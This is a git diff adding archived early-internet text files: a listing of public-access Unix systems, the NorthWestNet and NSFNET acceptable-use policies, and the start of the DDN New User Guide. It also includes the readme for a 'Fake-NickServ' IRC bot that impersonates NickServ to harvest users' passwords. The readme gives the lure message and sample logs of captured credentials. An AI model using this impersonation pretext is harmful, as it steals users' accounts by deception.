Gerry Swetsky (708)833-8122 (human). + +12/91 708-983-5147 wa9aek Lisle IL 12/24/96 24 + 80386, UNIX V.3.2.3; XBBS for HAM radio enthusiasts; 1.5 Gigabytes online; + Multiple lines, dial in - USR HST DS V.32bis/42bis, 8138 - Tb T2500; + Login as bbs (8-N-1). + +10/89 713-668-7176^ nuchat Houston TX 3/12/24/96 24 + i386; USENET, Mail, Shell Access; 300M On-line; Trailbazer Used; + No fee. + +09/91 713-684-5900^ sugar Houston TX 3/12/24/96 24 + 386/AT (2) networked - Intel V/386, 10 lines, usenet, news, downloads + Homegrown BBS software, Trailblazer+ access, currently no charges. + +02/92 714-278-0862 alchemy Corona CA 12/24/96/19 24 + 33 Mhz 80386, 8MB, 330MB Disk, SCO Xenix v2.3.4, Telebit T2500; Alchemy + Software Designs Technial Support BBS; USENET news (partial feed); + threaded conference system; data library/archive (mainly Unix sources + but room for expansion) with X, Y and Zmodem batch transfers; No fees; + New users login as "guest" and apply for account at main BBS menu. + Contact: John Donahue {gumby, bbs, root}@alchemy.UUCP + +01/91 714-635-2863^ dhw68k Anaheim CA 12/24/96 24 + Unistride 2.1; Trailblazer access; 2nd line -1915; No fee; USENET News; + /bin/sh or /bin/csh available + +12/90 714-821-9671^ alphacm Cypress CA 12/24/96 24 + 386 - SCO-XENIX, no fee, Home of XBBS, 90 minute per login, 4 lines, + Trailblazer pluses in use. + uucp-anon: ogin: nuucp NO PASSWD + +12/90 714-842-5851^ conexch Santa Ana CA 3/12/24 24 + 386 - SCO Xenix - Free Unix guest login and PC-DOS bbs login, one + hour inital time limit, USENET news, shell access granted on request & + $25/quarter donation. Anon uucp: ogin: nuucp NO PASSWD. List of + available Unix files resides in /usr3/public/FILES. + +01/91 714-894-2246^ stanton Irvine CA 3/12/24 24 + 80386-25, SCO Xenix-386, 320mb disk, 2400/1200/300 MNP supported; E-Mail & + USENET; Fixed fee $20/yr; X11R4 archive and many packages ported to Xenix + 386; C development system (XENIX/MSDOS), PROCALC 1-2-3 clone, FOXBASE+; + anon uucp: ogin: nuucp, no word + +06/92 718-832-1525^ panix New York City NY 12/24/96/19 24 + Mac2fx, 16MB ram, 2.4GB on 4 fast disks. OS: A/UX 3.0, a modern merged + SVR2/BSD unix. Shell of your choice: sh, ksh, csh, tcsh. 16 dialins: 9 2400, + 3 telebit, 4 V.32bis (separate rotary). We are an internet site capable of + FTP, telnet, finger, etc. with any other site on the internet. Full UseNet + feed; nn, rn, or GNUS for newsreaders; ELM; Mail, or MM for mail reading. + Vi, Emacs, other editors. Compile your own sources if you like. $10/mn or + $100/yr, NO hourly charge. Internet access $40 once plus $9/month additional. + Other lines are -1526, -1527, -1568, -0143, -0199, -0325; also, (718) 369- + 0114, 0112, 0123, 1061. V.32bis numbers (4) for registered users only. UUCP + connections (with news) available to users, and subdomains if you want. + Contact: Alexis Rosen (alexis@panix.com or uunet!panix!alexis), + 212-877-4854, or Jim Baumbach (jsb@panix.com), 718-965-3768. + +06/92 719-520-1700 cns Coloroda Springs CO 3/12/24 24 + Sun 3/260, SunOS; 22 lines (on rollover); $35 signup fee, $1 / hour; + CNS (Community News Service) -- offering Internet access, carrying email, + ftp, telnet, and usenet on a full UNIX account; Free access to a MUSH + connection at address "telnet 192.94.51.10 4201"; + To signup, sign on and type "new". + +12/89 719-632-4111 oldcolo Colorodo Springs CO 12/24/96 24 + 386 - SCO-XENIX frontend, 2 CT Miniframes backend, e-mail + conferencing, databases, Naplps Graphics, USENET news. 7 lines + 8N1, 2400 on 2906, USR Dual 9600 on 2658. Self registering + for limited free access (political, policy, marketplace) + Subscriptions $10, 15, 18 mo for full use. Dave Hughes SYSOP. + +01/92 801-566-6283^ bitsko Salt Lake City UT 3/12/24/96 24 + 80486, UHC UNIX SVR4; Bitsko's Bar & Grill BBS; Telebit; No fee; + Unidel; Usenet news; Internet mail; Citadel-net gateway and local + feeds available; Source system for Unidel, a Citadel-like newsreader + and UNIX BBS, and uccico, a UNIX-side Citadel-net gateway. + Contact: ken@bitsko.slc.ut.us (Ken MacLeod) + +08/92 804-627-1828 wyvern Norfolk VA 12/24/96/14 24 + 486/33, SVR4. Four v.32/v.32bis lines on rotary. Running UniBoard + bbs, login "bbs". Shell accounts available. Mail and news feeds + available. Archie by mail available with simple interface. 530MB + disk space with lots of games, programming languages, news. We're + fed by a major Internet site (ODU), and can include your machine in + our domain park. Internet connection coming soon. + Contact: Tom Manos at (804) 627-7837, or tmanos@wyvern.twuug.com + (uunet!wyvern!tmanos), or login as guest, password guest, to register + for full access. + +04/92 812-333-0450 sir-alan Bloomington IN 12/24/19.2/ 24 + SCO UNIX 3.2; no fee; TB+ on 333-0450 (300-19.2K); archive site for + comp.sources.[games,misc,sun,unix,x], some alt.sources, XENIX(68K/286/386) + uucp-anon: ogin: nuucp password: anon-uucp + uucp-anon directory: /u/pdsrc, /u/pubdir, /u/uunet, help in /u/pubdir/HELP + Contact: miikes@iuvax.cs.indiana.edu (812-855-3974 days 812-333-6564 eves) + +04/92 812-421-8523 aquila Evansville IN 3/12/24 24 + 80386, SCO Unix; Second line is '1963; Games, mail, and Unix + classes-by-mail; System has a "BBS Mall" of varied topics -- several + BBSs under a single system. + Anonymous uucp/mail: nuucp . Contact: info@aquila.uucp + +08/92 814-353-0566 cpumagic Bellefonte PA 12/24/96/14 24 + 80386, ESIX 4.0.3a (SVR4); Dual Standard (v.32/v.32bis/HST); + The Centre Programmers Unit BBS, custom BBS software (Micro Magic); + Files available: UNIX, GNU, X, ESIX, MSDOS tools and libraries; + No fee but up/download ratios enforced. + Contact: Mike Loewen at mloewen@cpumagic.scol.pa.us + or ...psuvax1!cpumagic!mloewen + +05/92 818-287-5115^ abode El Monte CA 24/96 24 + XENIX 2.3.3; 2400-9600 Baud (Telebit T1000 PEP); Fee of $40 per year; + Newsuers login as 'guest'; Users get access to shell account, email, + usenet news, games, etc. + Contact: eric@abode.ttank.com (elroy.jpl.nasa.gov!wvus!abode!eric) + +08/92 818-367-2142^ quake Sylmar CA 3/12/24/96/ 24 + ESIX/386 3.2D running Waffle; Telebit WorldBlazer on dial-in line, + 818-362-6092 has Telebit T2500; Usenet (1000+ groups), Email + (registered as quake.sylmar.ca.us), UUCP/UUPC connections; Rare Bird + Advisories, Technomads, more; $5 a month if paid a year at a time. + New users login as "bbs", then "new". One week free to new users. + +08/92 818-793-9108^ atrium Pasadena CA 3/12/24 24 + Xenix/386 2.3.3; International pen-pal service; login: mm + Contact: sysop@atrium.ucm.org; multi-lines + +09/92 900-468-7727 uunet Falls Church VA 3/12/24/96 24 + Sequent S81, Dynix 3.0.17(9); UUNET Communication Services; No Shell; + Anonymous UUCP, fee $0.40/min -- billed by the telephone company, + login: uucp (no passwd); Multiple lines, PEP and V.32 available; + grab "uunet!~/help for more info" ... + Full internet mail and USENET access via subscriber UUCP accounts. + Contact: info@uunet.uu.net or call [voice] 703-204-8000. + +07/91 904-456-2003 amaranth Pensacola FL 12/24/96 24 + ISC Unix V/386 2.2.1 TB+ on dialin. XBBS no fee. limited NEWS, E-mail + For more info: Jon Spelbring jsspelb@amaranth.UUCP + +09/91 906-228-4399 lopez Marquette MI 12/24 24 + 80386, SCO Xenix 2.3.4; Running STARBASE II Software. Great White North + UPLink, Inc. (Non Profit) 100+ local rooms, PLUS USENET, Multi Channel Chat, + 5 ports, $30 yr, flat rate for full access to net news, mail. + Upper Michigan's ORIGINAL BBS (since 1983) + Contact: Gary Bourgois ...rutgers!sharkey!lopez!flash (flash@lopez.UUCP) + +06/91 908-297-8713^ kb2ear Kendall Park NJ 3/12/24/96 24 + 80286, SCO Xenix; No Fee; Shell Access, Usenet alt,rec,nj,sci,comp + (readnews,vnews,rn,etc), Email (mush,elm,mailx); Mail and News feeds + Available; Anonuucp login as "nuucp"; + Contact: kb2ear@kb2ear.ampr.org (Scott R. Weis), 1-908-297-8713 + +08/91 916-649-0161^ sactoh0 Sacramento CA 12/24/96 24 + 3B2/310 SYVR3.2; SAC_UNIX, sactoh0.SAC.CA.US; $2/month; 3 lines, + v.32 on 722-6519, TB+ on 649-0161, 2400/1200 baud on 722-5068; + USENET, E-Mail, some games; login: new + Contact: root@sactoh0.SAC.CA.US or ..ames!pacbell!sactoh0!root + +01/91 919-248-1177^ rock RTP NC 3/12/24/96 24 + SparcStation 1+, SunOS 4.1; Fee: $200 installation, $25/month. Full + internet access (FTP, TELNET, etc). Netnews (includes vmsnet, u3b, alt) + and E-Mail. No limit on time, disk quotas enforced. 56Kbps and T1 + internet connections also available. Phone number depends on location + within North Carolina (PC Pursuit also available). + Contact: sellers@concert.net, dorcas@concert.net. + +02/92 +33-1-40-35-23-49 gna Paris FR 12/12/96 24 + Microlec 2000, Unisoft 1.3; (T2500/PEP/V32/2400/1200) +33-1-40-35-23-49, + (Multimodem/V32/2400/1200) +33-1-40-35-23-31, (Telsat1240/1200) + +33-1-40-35-15-67; ~250 Meg -- comp.sources.{games,unix,misc,x}, + alt (~1200 files), rfc, uumap, techreports, x11r4 patches, images, + spl (miscelaneous), latest GNU stuff, grab ~/news for more info; + Mail/News feeds (no fees) for everyone. + Contact: postmaster@gna.axis-design.fr or postmaster@gna.tfd.com. + Anonymous uucp archive (gin: nuucp, no passwd); + +06/92 +39-541-27135 nervous Rimini (Fo) IT 3/12/24/96 24 + 386/33, 1GB, ISC 386ix; Menu driven BBS, no shell; Directly connected + with uunet.uu.net, UnixBBS Development Site, full USENET access thru + menu-driven BBS (no shell logins), lots of unix sources and erotic images, + no fees required for file download + COntact: pizzi@nervous.com + +06/92 +41-61-8115492 ixgch Kaiseraugst CH 3/12/24/96 24 + 80386, SCO Xenix 2.3.3; HST Dual Standard; Shell is the PubSh + (Public Shell), user-friendly UI; Network services like Internet + mail/news, Swiss BBS-List Service etc... Internet mail/news UUCP + feed-links available; + Contact: postmaster@ixgch.imp.com (...!impch!ixgch!postmaster) + +09/92 +44-734-34-00-55 infocom Berkshire UK 3/12/24/96 24 + 80386, SCO Unix 3.2.2; Registration online, password sent by mail; + No shell; E-Mail/USENET; Newsfeed ONLY to members of UKnet (UKnet + policy) & on request; Anon UUCP; File Upload & Download, no quotas; + BBS, Games, Teletext pages; Some services are free and some are pay; + There is a demo / preview of the services. + Contact: sysop@infocom.UUCP or Fax +44 734 32 09 88 + +12/91 +44-81-317-2222 dircon London UK 3/12/24 24 + UNIX SysV 3.2; The Direct Connection multi-user on-line service; + Local and international/USENET conferencing, choice of newsreaders, + keyword searchable download areas, industry newswires, electronic mail, + FAX gateway, real-time tele-conferencing, personal file areas; + 10 pounds sterling per month (5 pounds registration); No connect time + or character charges; For demonstration/sign-up login as 'demo'; + Call (voice): +44-81-317 0100 for more information. + EMAIL Contact: info@dircon.co.uk [...ukc!dircon!info] + +06/92 +44-81-863-6646 ibmpcug Middlesex UK 3/12/24/96 24 + 386 PC/AT, SCO Xenix 2.3.2 -- IBM-PC User Group; Multiple lines, + line 2: 861 5522, 300-19.2k + V42bix + V32; Fee: ~50 pounds sterling, + unlimited use; Internet Access (FTP, Telnet and IRC) as well as News + and Mail services via UUCP; + Contact: dylan@ibmpcug.co.uk, Voice +44 81 863 1191 + +08/92 +44 81 893 4088 HelpEx London UK 3/12/24 24 + SunOS 4.1, V32/V42b soon. Mail, news and UNIX shell (/usr/ucb/mail, + ream; rn; sh, csh, tcsh, bash) UK#5 per month. 500 USENET groups + currently and expanding. All reasonable mail and USENET use free. + Beginner's pack available. Mail for contract and charges documents. + One month free trial period possible. ***Mail and news feeds.*** + ***SUITABLE FOR BUSINESS USE TOO.*** + Contact: HelpEx@exnet.co.uk, or voice/FAX +44 81 755 0077 GMT 1300-2300. + +08/92 +49-30-694-61-82 scuzzy Berlin DE 3/12/24/96 24 + 80486/33, ISC 3.0; HST 14400/v.42bis on the first, HST 14400/V.32bis/V.42bis + Modems on other dial-in lines; Large library of source code including + 386BSD, GNU, TeX, and X11 -- will distribute on tapes (grab /src/TAPES + for the order form, /src/SERVICE for info about support for Free Software). + Bulletin Board System with possible full Internet access, i.e. email, + USENET, IRC, FTP, telnet (grab /src/BBS for info, or login as 'guest'); + Login as 'archive' for x/y/z-modem and kermit transfers; Anonymous UUCP + available, grab /src/README for initial info; + Contact: src@contrib.de (Heiko Blume) + anon uucp: ogin: nuucp word: nuucp + +01/92 +49-40-494867 isys-hh Hamburg DE 3/12/24/96/ 24 + Intel 80486/33/1050 - SCO Unix 3.2V2.0 (ODT 1.1.0n); + Shells: msh, sh, csh, ksh; nn for newsreaders, ELM for mail + Contact: mike@isys-hh.hanse.de (Michael Loth) + +06/91 +49-8106-34593 gold Baldham DE 3/12/24/96 24 + 33MHz i486 EISA, PEP/V.32 available on first line, HST available on + +49-8106-34692; Unix 5 Release 4.0.2, Waffle bbs, Usenet, German Subnet, + Megabytes of Unix Sources; No shell; BBS is free for Mail and Usenet; + Anonymous UUCP available, grab ~nuucp/gold.files.Z for more info, (uucp + supports e, f, and g protocols); + Contact: cs@gold.sub.org + anon uucp: ogin: nuucp (no password) + +11/91 +61-2-837-1183 kralizec Sydney AU 24 12/24/96 + Sun 3/50, SunOS 4.0; 470mb disk; V.32/MNP-5 modem; Dialup access to + Internet E-mail & USENET; mail-based FTP. 80 - 100 Mb software online + for download. Full C-shell access to all members. No joining fee. Usage + fee $50 for 50 hours connect time. Voice number +61-2-837-1397. + Home of IXgate - Internet to Fidonet gateway - also Fido 713/602. + Contact: nick@kralizec.zeta.org.au + +12/91 +64-4-389-5478 actrix Wellington NZ 3/12/24/96 24 + Zenith 386/33MHz w/ ISC 386/ix 2.02; Actrix Information Exchange -- + New Zealand's first Public Access UNIX. 750 Mb disk; 3 lines, USR + Courier HST (T2500 due December 1990, X25 in '91). Fee: NZ$54 p.a. - + offers heavily modified XBBS with USEnet and Fidonet, e-mail (elm), + hundreds of file areas divided into sections for UNIX, MS-DOS, Amiga, + Atari, Apple //, Macintosh, CP/M etc. Shell w/ many extras available + via `Enhanced subscription'. Planned to join APC (PeaceNet/EcoNet); + Contact: paul@actrix.gen.nz (Paul Gillingwater) PO Box 11-410, Wgtn, NZ + +12/91 +64-4-564-2317 cavebbs Wellington NZ 12/24 24 + AT&T 3B2/400 w/SysV 3.2; The Cave MegaBBS System. 144MB disk; 4 lines. + Free access line 1, NZD$40 donation requested for others. KCBBS s/w + featuring Usenet, Fidonet 3:771/130.0 and conferencing, email and + links with other local systems. The Cave runs concurrently using + KiwiBoard s/w on two lines +64-4-643-429 12/24/96 V32MNP5 on a 386/25 + to provide local messaging and 290MB of PC/Amiga/GIF/sound files; + Contact: clear@cavebbs.gen.nz (Charlie Lear), Box 2009 Wellington, NZ + +02/91 +64-9-817-3725 kcbbs Auckland NZ 12/24/96 24 + SMC 486/25MHz w/ ESIX 5.3.2 Rec C; Kappa Crucis Unix BBS. Fee: NONE + 1140 Mb disk; 7 lines, T2500, 3*v32MP4/5, 2*2400MNP3/5, Radio modem + tnc/Packet VHF. KCBBS s/w, non-Unix user interface (no user Unix shell + access) with USEnet, Fidonet, GTnet, online weatherfax/gifs, Email, + 100's file areas, off-line readers, multi-user chat, Astronomy/Science + Fidonet 3:771/90, login as kc. Contact: dgd@kcbbs.gen.nz (David Dix) + +--------------------------------------------------------------------------- +NOTE: ^ means the site is reachable using PC Pursuit. +=========================================================================== +The nixpub listings are kept as current as possible. However, you use this +data at your own risk and cost -- all standard disclaimers apply!!! +Any additions, deletions, or corrections should be sent to phil@bts.com. +------ +Lists are available via any of the following: + o anonymous uucp from jabber. + +1 215 348 9727 [Telebit access] + login: nuucp NO PWD [no rmail permitted] + this list: /usr/spool/uucppublic/nixpub + short list: /usr/spool/uucppublic/nixpub.short + (also available from the "*NIX Depot" BBS on jabber) + o mail server on jabber + mail to mail-server@bts.com + body containing: + get PUB nixpub + or + get PUB nixpub.short + o the nixpub-list electronic mailing list. to subscribe to + the list: + mail to mail-server@bts.com + body containing: + subscribe NIXPUB-LIST Your Name + o USENET, regular posts to: + comp.misc + comp.bbs.misc + alt.bbs + o anonymous ftp from GVL.Unisys.COM [128.126.220.104] + under ~/pub/nixpub/{long,short} + o archive server from cs.widener.edu. + mail to archive-server@cs.widener.edu + Subject: or body of + send nixpub long + or + send nixpub short + or + send nixpub long short + or even + index nixpub +=========================================================================== + COMPAQ, IBM, PC Pursuit, [SCO] XENIX, UNIX, etc. are trademarks of the + respective companies. +-- +Phil Eschallier Bux Technical Services + Inet: phil@bts.com P.O. Box 110 + UUCP: ...!{dsinc|gvls1|widener}!jabber!phil Doylestown, PA 18901 + +1 215 348 9721 diff --git a/textfiles.com/internet/northwes b/textfiles.com/internet/northwes new file mode 100644 index 00000000..a80c0ffb --- /dev/null +++ b/textfiles.com/internet/northwes @@ -0,0 +1,65 @@ + + + + NORTHWESTNET ACCEPTABLE USE POLICY + + + +NorthWestNet is a regional data communications network serving a +consortium of universities and research groups in the northwest- +ern part of the United States. Its goals are summarized in the +Articles of Incorporation for the Northwest Academic Computing +Consortium, Inc. All use of NorthWestNet facilities must be +consistent with the goals and purposes of NorthWestNet. The +intent of this statement is to describe certain uses which are +consistent with the purposes of NorthWestNet, not to exhaustively +enumerate all such possible uses. + +Some acceptable uses of NorthWestNet facilities include: + + o use for scientific research or instruction at member and + associate member institutions through the provision of + high-speed data communications; + + o use as a vehicle for scholarly communications; + + o use as a means for NorthWestNet members to access remote + computing resources for the purpose of scientific + research or instruction. Notable examples of such + resources are the NSF supercomputing facilities; + + o use necessary to support other acceptable uses. For + example, administrative communications which are part of + the support infrastructure needed for research and + instruction are acceptable. Similarly, communications + directly between non-member institutions in support of + research or instruction at member institutions is + acceptable; + + o use required by agreements with NSF, the primary funding + agency for NorthWestNet; + + o use by member institutions as a laboratory for research + and experimentation in computer communications, where + such use does not interfere with production usage. + However, any experimental use requiring modification to + router software or protocol layers below ISO layer 4 + requires prior review by the Technical Committee. + +In general, commercial and general administrative use are prohib- +ited. Use for scientific research or instruction at non-member +institutions and at for-profit institutions may or may not be +consistent with the purposes of NorthWestNet, and will be re- +viewed on a case by case basis. + +Use of NorthWestNet for any illegal purpose, or to achieve +unauthorized access to systems, software, or data is prohibited. + +NorthWestNet is a production communications network on which many +researchers depend. Uses that significantly interfere with the +ability of other users to make effective use of the network are +not acceptable. + + 05/12/88 + + diff --git a/textfiles.com/internet/ns101.txt b/textfiles.com/internet/ns101.txt new file mode 100644 index 00000000..7f26e4e7 --- /dev/null +++ b/textfiles.com/internet/ns101.txt @@ -0,0 +1,91 @@ +Fake-NickServ bot [version 1.01] by Ang3ldust + +Purpose: +-------- +This bot collects passwords from unsuspecting idiots on IRC (usually +gets chics) and records them. 'What?'. Well, when you ask it for help, +it goes 'Please give your internet e-mail address and password. Example: +/msg NickServ REGISTER john@foobar.org john1'. That fools some people :). +If the idiot sends something like john john1 and no hostname, not to +worry, nickserv will get the hostname automagically. + +Solution: +--------- + "You can fool some of the people some of the time, some of the people + all of the time, but you can never fool all of the people all of the + time!" -From some lamer, heard it on the radio like just now, + thought i'd include it! + +Of course, NickServ has /kill protection (It will wait a few seconds and +reconnect to IRC if it gets disconnected). That's because you can't fool +all of the IRC OPS all of the time :). Anyways, the basic way to use this +bot is NOT TO USE THIS BOT. I wrote it so I can use it and enjoy it, laugh +at the lamers who give out their accounts, but it's just an example. Expect +nothing the first few times you run this bot if you do plan to run it. +Most of the time, nobody bothers to use NickServ, and when they do, they +don't give their passwords. It only works for me on the weekend!! :) + +Notes: +------ +I think my NickServ is a very clean bot (e.g. the code) and the way it logs +files. Of course it is very simple, as you can see, and I like it that +way (no C code used, to confuse me :). + +main(){printf("This is the extent of Ang3ldust's C programming ablility");} + +Log Files: +---------- +Why does this fake NickServ keep logfiles? because I want to know + +1] - Who 'registerd', and, of course, what they registered + +2] - What people are doing with NickServ anyways. If I am going to +run this, I might as well see what people are doing with it, without +irc -l ns -b >shittylogfile and logging the whole fucking irc session! + +3] - User @ Host for certian commands given to NickServ (well, you +can change what commands too, read the code and figure it out, I commented +parts on how it works...) + +Sample log files follow: + +nslogfile: +---------- +*** NickServ LogFile Startup: Fri Aug 30 08:22:10 BST 1874 +Nick: Ang3ldust Function: HELP +Nick: Nickname User: User Host: Host Other: Name +Nick: Ang3ldust User: root Host: rewt.ida.org Other: 0 Chinese Water Torture +Nick: Ang3ldust Function: REGISTER +Nick: Ang3ldust User: root Host: rewt.ida.org Other: 0 Chinese Water Torture +*** NickServ LogFile Startup: Fri Aug 30 12:28:53 BST 1874 +Nick: bugs Function: HELP +Nick: bugs User: cs911094 Host: iris.ariel.fscanf.ca Other: 2 MATTHEW M-F NG +Nick: Nickname User: User Host: Host Other: Name +Nick: BigJ User: jdsnow Host: sacobeans.oren.oval.edu Other: 0 IRC maniac +Nick: Nickname User: User Host: Host Other: Name +Nick: d_dBot Function: HELP +Nick: Ang3ldust Function: HELP +Nick: Nickname User: User Host: Host Other: Name +Nick: d_dBot User: rewt Host: king.mcs.podunk.edu Other: 2 !id xTc Joe User xTc +Nick: Nickname User: User Host: Host Other: Name +Nick: Ang3ldust User: root Host: rewt.ida.org Other: 0 Chinese Water Torture + +nspasswdfile: +------------ +*** NickServ PasswdFile Startup: Fri Aug 30 08:22:10 BST 1874 +Nick: Ang3ldust User lamer Password: lame!! Other: +*** NickServ PasswdFile Startup: Fri Aug 30 12:28:53 BST 1874 + +As you can see, no passwords or such today (err.. actually.. a couple +years ago :)... To see how this works, READ THE CODE. It's so simple +and i'm sure most of you know how to do it, but for those who don't, +learn a little more about ircII scripting and then ..hey, read the code! + +If you notice the lines in nslogfile that say +'Nick: Nickname User: User Host: Host Other: Name', that's some shit +from the client that you get then you /who, and it's unavoidable. + +Release: +-------- +1.0 = First fake nickserv... +1.01 = Oops! fixed it (register didn't record anything to nspasswdfile!) diff --git a/textfiles.com/internet/nsfnet b/textfiles.com/internet/nsfnet new file mode 100644 index 00000000..38e7f6c8 --- /dev/null +++ b/textfiles.com/internet/nsfnet @@ -0,0 +1,57 @@ + [NSFNET] NETUSE.TXT + + Interim 3 July 1990 + NSFNET + Acceptable Use Policy + + The purpose of NSFNET is to support research and education in and + among academic institutions in the U.S. by providing access to unique + resources and the opportunity for collaborative work. + + This statement represents a guide to the acceptable use of the NSFNET + backbone. It is only intended to address the issue of use of the + backbone. It is expected that the various middle level networks will + formulate their own use policies for traffic that will not traverse + the backbone. + + (1) All use must be consistent with the purposes of NSFNET. + + (2) The intent of the use policy is to make clear certain cases + which are consistent with the purposes of NSFNET, not to + exhaustively enumerate all such possible uses. + + (3) The NSF NSFNET Project Office may at any time make + determinations that particular uses are or are not + consistent with the purposes of NSFNET. Such determinations + will be reported to the NSFNET Policy Advisory Committee + and to the user community. + + (4) If a use is consistent with the purposes of NSFNET, then + activities in direct support of that use will be considered + consistent with the purposes of NSFNET. For example, + administrative communications for the support infrastructure + needed for research and instruction are acceptable. + + (5) Use in support of research or instruction at not-for-profit + institutions of research or instruction in the United States + is acceptable. + + (6) Use for a project which is part of or supports a research or + instruction activity for a not-for-profit institution of + research or instruction in the United States is acceptable, + even if any or all parties to the use are located or + employed elsewhere. For example, communications directly + between industrial affiliates engaged in support of a + project for such an institution is acceptable. + + (7) Use for commercial activities by for-profit institutions is + generally not acceptable unless it can be justified under + (4) above. These should be reviewed on a case-by-case basis + by the NSF Project Office. + + (8) Use for research or instruction at for-profit institutions + may or may not be consistent with the purposes of NSFNET, + and will be reviewed by the NSF Project Office on a + case-by-case basis. + + diff --git a/textfiles.com/internet/nug.txt b/textfiles.com/internet/nug.txt new file mode 100644 index 00000000..febd53b1 --- /dev/null +++ b/textfiles.com/internet/nug.txt @@ -0,0 +1,6246 @@ + +[ netinfo/nug.doc ] + + +NIC 60001, September 1991 DDN New User Guide + + + + + + + + + + + + + DDN NEW USER GUIDE + + + + + September 1991 + + + + + + + Editor: + Barbara Varallo + + + First Edition: December 1985 + Revised: November 1987 + Second Edition: February 1991 + Third Edition: September 1991 + + + + + + +Prepared by the DDN Network Information Center, Government Systems +Incorporated, 14200 Park Meadow Drive, Suite 200, Chantilly, VA 22021. Copies +may also be obtained from the Defense Technical Information Center (DTIC), +Cameron Station, Alexandria, VA 22314. + +DRAFT DRAFT + + + + + + + +NIC 60001, September 91 DDN New User Guide + + + [ NOTE: This document is set up for printing in 12 cpi + non-proportional font. The top and bottom margins are set + at .25 with three blank lines above the header and four below + the footer. Right and left margins are presumed to be one + inch. Hard page breaks (^L) have been inserted. ] + + + + + + + + + + ACKNOWLEDGEMENTS + + +The DDN New User Guide was prepared by the DDN Network Information Center for +the Defense Information Systems Agency, Defense Network Systems Organization +(DISA DNSO) under contract number DCA 200-90-R-0029. + +The NIC wishes to acknowledge the valuable services that the Host +Administrators and Node Site Coordinators have provided to the network +community and to the development of this guide. + + +UNIX is a registered trademark of AT&T Bell Laboratories. TOPS 20 is a +registered trademark of Digital Equipment Corporation. InfoMail is a +trademark of BBN Communications Division. PostScript is a registered +trademark of Adobe Systems Incorporated. Procomm is a trademark of Datastorm +Technologies, Inc. + +DDN New User Guide. Printed and bound in the United States of America. +Published by the DDN Network Information Center, 14200 Park Meadow Drive, +Suite 200, Chantilly, VA 22021. + + + + + + +DRAFT [Page i] DRAFT + + + + + + + +NIC 60001, September 91 DDN New User Guide + + + TABLE OF CONTENTS + + +SECTION 1. INTRODUCTION. . . . . . . . . . . . . . . . . . . . . . . . . . 1 + 1.1 Welcome . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1 + 1.2 Using This Guide. . . . . . . . . . . . . . . . . . . . . . . . . . 2 + 1.3 Document Conventions. . . . . . . . . . . . . . . . . . . . . . . . 4 + 1.3.1 User Input Display. . . . . . . . . . . . . . . . . . . . . . . . 4 + 1.3.2 Machine Output Display. . . . . . . . . . . . . . . . . . . . . . 4 + 1.3.3 Comment Display . . . . . . . . . . . . . . . . . . . . . . . . . 4 + 1.3.4 Typing Control Characters . . . . . . . . . . . . . . . . . . . . 5 + +SECTION 2. THE DEFENSE DATA NETWORK. . . . . . . . . . . . . . . . . . . . 6 + 2.1 Network Overview. . . . . . . . . . . . . . . . . . . . . . . . . . 6 + 2.2 Network Access Methods. . . . . . . . . . . . . . . . . . . . . . . 7 + 2.3 Organization of the DDN . . . . . . . . . . . . . . . . . . . . . . 8 + 2.4 Development of the DDN. . . . . . . . . . . . . . . . . . . . . . . 8 + 2.5 The Defense Information Systems Agency, Defense Network Systems + Organization (DISA DNSO). . . . . . . . . . . . . . . . . . . . . .10 + +SECTION 3. NETWORK CONNECTION. . . . . . . . . . . . . . . . . . . . . . .11 + 3.1 Host Access . . . . . . . . . . . . . . . . . . . . . . . . . . . .11 + 3.2 TAC Access. . . . . . . . . . . . . . . . . . . . . . . . . . . . .11 + 3.3 Gateway Access. . . . . . . . . . . . . . . . . . . . . . . . . . .12 + 3.4 A Word About Personal Computers . . . . . . . . . . . . . . . . . .12 + +SECTION 4. DDN TAC ACCESS. . . . . . . . . . . . . . . . . . . . . . . . .14 + 4.1 TAC Card Information. . . . . . . . . . . . . . . . . . . . . . . .14 + 4.1.1 TAC User Registration . . . . . . . . . . . . . . . . . . . . . .14 + 4.1.1.1 Users Behind Concentrators. . . . . . . . . . . . . . . . . . .15 + 4.1.2 TAC Card Example. . . . . . . . . . . . . . . . . . . . . . . . .16 + 4.1.2.1 Common TAC Card Userid/Access-Code Input Errors . . . . . . . .17 + 4.1.3 Obtaining the TAC Users' Guide. . . . . . . . . . . . . . . . . .18 + 4.2 TAC Login Procedures. . . . . . . . . . . . . . . . . . . . . . . .18 + 4.2.1 Connecting to a TAC/Mini-TAC. . . . . . . . . . . . . . . . . . .18 + 4.2.1.1 Dial-up TACs. . . . . . . . . . . . . . . . . . . . . . . . . .18 + 4.2.1.2 Using a Terminal with an Acoustic Coupler . . . . . . . . . . .19 + 4.2.1.3 Using a Dial-up Modem . . . . . . . . . . . . . . . . . . . . .19 + 4.2.1.4 Using a PC and Communications Software. . . . . . . . . . . . .19 + 4.2.1.5 Hard-Wired TACs . . . . . . . . . . . . . . . . . . . . . . . .20 + +DRAFT [Page ii] DRAFT + + + + + + + +NIC 60001, September 91 DDN New User Guide + + + 4.2.2 TAC Login . . . . . . . . . . . . . . . . . . . . . . . . . . . .20 + 4.2.3 Common TAC Login Problems . . . . . . . . . . . . . . . . . . . .22 + 4.2.3.1 TAC Login Error Messages. . . . . . . . . . . . . . . . . . . .22 + 4.2.3.2 Host Connection Errors. . . . . . . . . . . . . . . . . . . . .24 + 4.2.4 Changing the TAC Intercept Character. . . . . . . . . . . . . . .25 + 4.2.5 Using a TAC for File Transfer (FTP) . . . . . . . . . . . . . . .26 + 4.2.5.1 Changing the Intercept Character. . . . . . . . . . . . . . . .26 + 4.2.5.2 Setting Flow Control on the TAC . . . . . . . . . . . . . . . .26 + 4.2.5.3 Putting the TAC in Binary Mode. . . . . . . . . . . . . . . . .27 + 4.2.6 A Brief Word About Mini-TACs. . . . . . . . . . . . . . . . . . .28 + +SECTION 5. NETWORK USE . . . . . . . . . . . . . . . . . . . . . . . . . .29 + 5.1 Electronic Mail . . . . . . . . . . . . . . . . . . . . . . . . . .29 + 5.1.1 UNIX Mail Examples. . . . . . . . . . . . . . . . . . . . . . . .32 + Sending Mail Via UNIX . . . . . . . . . . . . . . . . . . . . . .32 + Reading UNIX Mail . . . . . . . . . . . . . . . . . . . . . . . .32 + Getting Help for UNIX Mail. . . . . . . . . . . . . . . . . . . .33 + 5.1.2 InfoMail Examples . . . . . . . . . . . . . . . . . . . . . . . .34 + Sending a Message Via InfoMail. . . . . . . . . . . . . . . . . .34 + Reading Mail with InfoMail. . . . . . . . . . . . . . . . . . . .35 + Getting Help for InfoMail . . . . . . . . . . . . . . . . . . . .36 + 5.2 File Transfer 